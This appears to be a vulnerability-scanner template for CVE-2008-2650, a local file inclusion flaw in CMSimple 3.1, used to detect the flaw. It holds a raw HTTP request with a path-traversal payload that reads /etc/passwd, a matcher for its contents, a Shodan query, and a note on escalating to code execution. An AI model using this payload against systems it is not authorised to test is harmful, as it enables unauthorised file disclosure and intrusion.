CMSimple 3.1 - Local File Inclusion

id: CVE-2008-2650

info:
  name: CMSimple 3.1 - Local File Inclusion
  author: pussycat0x
  severity: medium
  description: |
    CMSimple 3.1 is susceptible to local file inclusion via cmsimple/cms.php when register_globals is enabled which allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the sl parameter to index.php. NOTE: this can be leveraged for remote file execution by including adm.php and then invoking the upload action. NOTE: on 20080601, the vendor patched 3.1 without changing the version number.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade CMSimple to a patched version or apply the necessary security patches provided by the vendor.
  reference:
    - http://www.cmsimple.com/forum/viewtopic.php?f=2&t=17
    - http://web.archive.org/web/20140729144732/http://secunia.com:80/advisories/30463
    - https://nvd.nist.gov/vuln/detail/CVE-2008-2650
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/42792
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/42793
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2008-2650
    cwe-id: CWE-22
    epss-score: 0.18809
    epss-percentile: 0.96916
    cpe: cpe:2.3:a:cmsimple:cmsimple:3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cmsimple
    product: cmsimple
    shodan-query: cpe:"cpe:2.3:a:cmsimple:cmsimple"
  tags: cve,cve2008,lfi,cmsimple,vuln

http:
  - raw:
      - |
        GET /index.php?sl=../../../../../../../etc/passwd%00 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
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